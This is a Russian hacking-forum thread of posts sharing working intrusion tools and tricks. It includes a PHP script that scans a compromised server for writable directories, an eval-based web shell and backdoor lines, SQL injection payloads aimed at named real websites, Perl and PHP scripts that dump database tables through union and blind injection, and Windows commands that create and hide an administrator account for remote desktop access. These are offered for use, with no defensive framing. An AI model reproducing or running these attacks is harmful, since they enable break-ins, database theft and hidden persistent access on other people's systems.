Старый 17.07.2010, 20:19   #11
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию Поиск диров, доступных для записи, на PHP.

PHP код:
<?php

set_time_limit
(0);

$writableCount=0;
$stopOnCount=16;

function 
finddir($scanedPath='/home/blalbla/public_html/')
{
    global 
$writableCount$stopOnCount;

    if(
$arr_filesAndDirsInScanedPath scandir($scanedPath))
    {
        foreach(
$arr_filesAndDirsInScanedPath as $fileOrDirInScanedPath)
        {
            
$path $scanedPath $fileOrDirInScanedPath;

            if(
$fileOrDirInScanedPath == ".." || $fileOrDirInScanedPath == ".") continue;
            if(! @
is_dir($path)) continue;

            if(@
is_writable($path))
            {
                echo (
"$path is writable !<br>");
                
flush();                
                if (++
$writableCount >= $stopOnCount) exit;
            }

            
finddir($path.DIRECTORY_SEPARATOR);
        }
    }
}

finddir();
echo 
'<br>end<br>';

?>
DrakonHaSh вне форума   Ответить с цитированием
Старый 18.07.2010, 11:12   #12
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

мини дополнение к [Перезаливка шелла через eval() by Grey]
внедрение конструкции
@eval(base64_decode($_REQUEST[phpsessid]));
имеет много выгод

пишем требуемый код вида
PHP код:
>?
<?php

[код]

?>
перегоняем его в base64, потом перегоняем его в URLEncode, если надо (зависит как и на каком этапе вы задаете/передаете значение параметру), и отсылаем внедренному коду вместе у кукой [хотя, при желании, можно и постом и гетом]. [для этих преобразований я юзаю замечательную софтину от dx Универсальный конвертер текста]

Например подобным образом я использую приведенный выше код [Поиск диров, доступных для записи, на PHP].
DrakonHaSh вне форума   Ответить с цитированием
Старый 19.07.2010, 11:43   #13
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Небольшое дополнение по Error-based инъекциям на основе rand(0).


Более короткая версия запроса:
or 1 group by concat(left(version(),64),floor(rand(0)*2)) having min(0)

Пояснения:
1) "OR 1" необходим, чтобы уязвимый запрос выдавал более одной записи. В случае, если запрос и так выдает более одной записи, "OR 1" можно опустить.
2) Вместо конструкции "floor(rand(0)*2)" в mysql 5 можно использовать rand(0)|0 или rand(0)&1
3) Вместо "min" можно использовать любую агрегатную функцию:
count, max, sum, avg, bit_and, bit_or, bit_xor, std, stddev, variance (mysql>=3)
var_pop, var_samp, stddev_pop, stddev_samp (mysql>=5)


Примеры:
Код:
http://www.barcelo.edu.ar/vernoticia.php?id=445+group+by+concat(left(version(),64),floor(rand(0)*2))+having+min(0)
http://www.outyourbackdoor.com/article.php?id=1245+or+1+group+by+concat(left(version(),64),rand(0)|0)+having+avg(0)
BlackFan вне форума   Ответить с цитированием
Старый 05.08.2010, 19:08   #14
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию

Код:
#!/usr/bin/perl
use LWP::Simple;
$url="http://localhost/sql/?id="; # Ниже поправьте ещё sql запрос на нужный вам.
open(FFF,"> parser.txt");

for ($limit=0; ; $limit++) {
inj($limit);
}

sub inj($limit){
	$separator="0x3a3a3a"; 
	$sql = "-1+union+select+1,2,unhex(hex(concat(".$separator.",table_name,".$separator.")))+from+information_schema.tables+limit+".$limit.",1+--+";
	$data = get($url.$sql);
			if ($data =~ /:::(.+):::/){
			print (FFF "\n".$1);
			print "\n".$1;
			}else{ print "\nBye bye...\n"; exit; }
}
close(FFF);
Для чего этот скрипт? Вдруг у нас шелла нету, а надо слить порядка 10к юзеров или более, то, этот скрипт грабит инфу с сервера, через limit. Естественно куча запросов + это долго, но писалось под себя, вдруг кому тоже понадобится
Как юзать то?
Переменная $url - ну вы понеле.
chmod 777 parser.txt или файл можете сами сменить.
$sql = вот тут то и настраивайте как надо, поля, etc всё сами.
Естественно если меняйте сепаратор, то и меняйте регулярку. Спасибо за внимание.
__________________
Twitter - @Ctacok
Ctacok вне форума   Ответить с цитированием
Старый 22.08.2010, 21:32   #15
Strilo4ka
Banned
 
Регистрация: 05.07.2010
Сообщений: 55
Репутация: 13
По умолчанию

Следующая команда выполнит рекурсивное применение правил для всех файлов в текущей директории, а также для всех файлов во всех поддиректориях:

# find . -type f -exec chmod 777 {} \;

Следующая команда выполнит рекурсивное применение правил для всех директорий в текущей директории, а также для всех директорий во всех поддиректориях:

# find . -type d -exec chmod 777 {} \;

____________________________________

учётка для дедика:

net user user password /add
net localgroup Administrators user /add
net localgroup "Remote Desktop Users" user /add
net accounts /maxpwage:unlimited

скрыть учетку:

Для этого заходим в реестер (Пуск > Выполнить > regedit.exe) переходим в

HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->WindowsNT->CurrentVersion->Winlogon->SpecialAccounts->UserList

и создаём там новый параметр DWORD (правой кнопкой мыши,новый параметр DWORD)
Называем этот параметр именем твоего аккаунта,и присваиваем ему численное значение 0.

ну и патч для мультиюзерности ставим.
Strilo4ka вне форума   Ответить с цитированием
Старый 23.08.2010, 09:15   #16
3x'e'orcist
 
Аватар для 3x'e'orcist
 
Регистрация: 12.08.2010
Сообщений: 10
Репутация: 2
По умолчанию

Цитата:
Сообщение от Strilo4ka Посмотреть сообщение
скрыть учетку:
Для этого заходим в реестер (Пуск > Выполнить > regedit.exe) переходим в
HKEY_LOCAL_MACHINEHKEY_LOCAL_MACHINE->SOFTWARE->Microsoft->WindowsNT->CurrentVersion->Winlogon->SpecialAccounts->UserList
и создаём там новый параметр DWORD (правой кнопкой мыши,новый параметр DWORD)
Называем этот параметр именем твоего аккаунта,и присваиваем ему численное значение 0.

так это вроде как палевно,юзер может заметить как ты у него в реестре копаешся
предлагаю сразу ключик добавить с cmd:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" \v ИМЯ УЧЁТКИ \t REG_DWORD \d "00000000" \f
3x'e'orcist вне форума   Ответить с цитированием
Старый 12.09.2010, 23:48   #17
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Цитата:
Сообщение от Grey Посмотреть сообщение
Многие вместо eval() добаляют system():
Но это не разумно - safe_mode = on или просто отключение функции system() через disable_functions не только не дадут что либо сделать, но и могут поставить в тупик не опытного пользователя.
ЛУчше использовать eval().

Далее частая ошибка, это использование не глобальной переменной:

eval($ev)
При register_globals = off код будет бесполезен.

Использовать $_GET тоже не советую - лишние записи в логах не нужны.
Как показала практика удобнее всего использовать $_COOKIE. Для этого нужен какой либо редактор куков - но тут проблем быть не должно (в опере есть встроенный редактор, а для фф плагины).

И так определились код eval($_COOKIE[ev]);
Есть еще замечательный массив $_SERVER в который тоже можно засунуть хедеры причем совершенно произвольные а не только куки.

Имхо такой вариант
$s='наша строка, если нужно в базе 64'; $f = fopen($ff, "w"); fwrite($f, $s); fclose($f);
тоже не плох, в директивы allow_url_include allow_url_fopen, нам побоку.
Правда большой шелл наверно не загрузиться так, но зачем юзать большие шеллы типа с99 r57 имхо можно и
через такой
PHP код:
<?php
$s
=$_SERVER['HTTP_S']; if($s){@eval($s);}
?>
все что нужно сделать и в базе порыться и файло посмотреть.
Pr0xor вне форума   Ответить с цитированием
Старый 17.09.2010, 18:16   #18
v1d0q
 
Аватар для v1d0q
 
Регистрация: 09.07.2010
Сообщений: 91
Репутация: 85
По умолчанию

Собственно нужен был скрипт который кушает блинд без запятых, пробелов, etc. Вот переделал этот. С позволения многоуважаемого человека под ником Qwazar, выкладываю народу. Простите кому не угодил функционалом, делал под себя.

PHP код:
<?
function send_xpl($url$xpl){
    
$u=parse_url($url);
    
$req ="GET ".$u['path']."/".$xpl." HTTP/1.1\r\n";
    
$req.="Host: ".$u['host']."\r\n";
    
$req.="Connection: Close\r\n\r\n";
    
$fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
    
fwrite($fs$req);
    while (!
feof($fs)) {
          
$res .= fread($fs8192);
    }
    
fclose($fs);
    return 
$res;
}
function 
xpl($field$condition$pos){
    global 
$from;
    
$xpl="?id=(155)and(ascii(lower(substring((select($field)$from)from($pos)for(1)))))$condition/*";
    return 
$xpl;
}
function 
cond($url$field$cond$pos$ch) {
    global 
$tfind;
    if(
preg_match('/'.$tfind.'/'send_xpl($urlxpl($field,$cond.$ch,$pos))))
        return 
1;
    else
        return 
0;
}
function 
getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }
}
$tfind="textfromtruequery"
$url="http://site.ru";
$field="pwd"//всегда должно быть тру.
$from="from(db.table)where(login=0x61646d696e)";
if(
preg_match('/'.$tfind.'/'send_xpl($urlxpl("version()",">1",1,$from))))
{
    echo 
"works\r\n";
}
else 
    die(
"check sql query");
for(
$i=1;$i<=100;$i++)
{
$c getChar($url$field$i46122$from);

        if(
$c==-1)
        die(
"\r\nend");
    else 
        echo 
$c;
}
?>
(с)v1d0q

Последний раз редактировалось v1d0q; 11.12.2010 в 12:14..
v1d0q вне форума   Ответить с цитированием
Старый 20.09.2010, 21:30   #19
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Узнаём имена скриптов и названия параметров спрятаных за mod_rewrite, при дефолтной настройке апача:

Шлём пост запрос с некорректным значением поля Content-length
Content-length: x

Получаем ответ вида:
Цитата:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/blog/index.php<br />
Автор: 0x32353031
Источник: http://ptresearch.blogspot.com/2010/...cted-site.html
__________________
Мой блог: http://qwazar.ru/.

Последний раз редактировалось Qwazar; 20.09.2010 в 22:01..
Qwazar вне форума   Ответить с цитированием
Старый 04.10.2010, 03:48   #20
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Аналог вывода через benchmark для MSSQL
Вывод имён всех таблиц одной пачкой:
PHP код:
?id=-1+union+select+1,2,3,DB_NAME(),5,6,7,(select+name+from+help4seniors..sysobjects+where+xtype='U'+FOR+XML+RAW
Дамп всей таблицы и её структуры за один запрос, зная только имя таблицы:
PHP код:
?id=-1+union+select+1,2,3,DB_NAME(),5,6,7,(select+*+from+users+FOR+XML+RAW
для бинарных данных
PHP код:
?id=-1+union+select+1,2,3,DB_NAME(),5,6,7,(select+*+from+users+FOR+XML+RAW,BINARY+BASE64
Юзабилити у микрософта на уровне!

Последний раз редактировалось tipsy; 04.10.2010 в 13:21..
tipsy вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot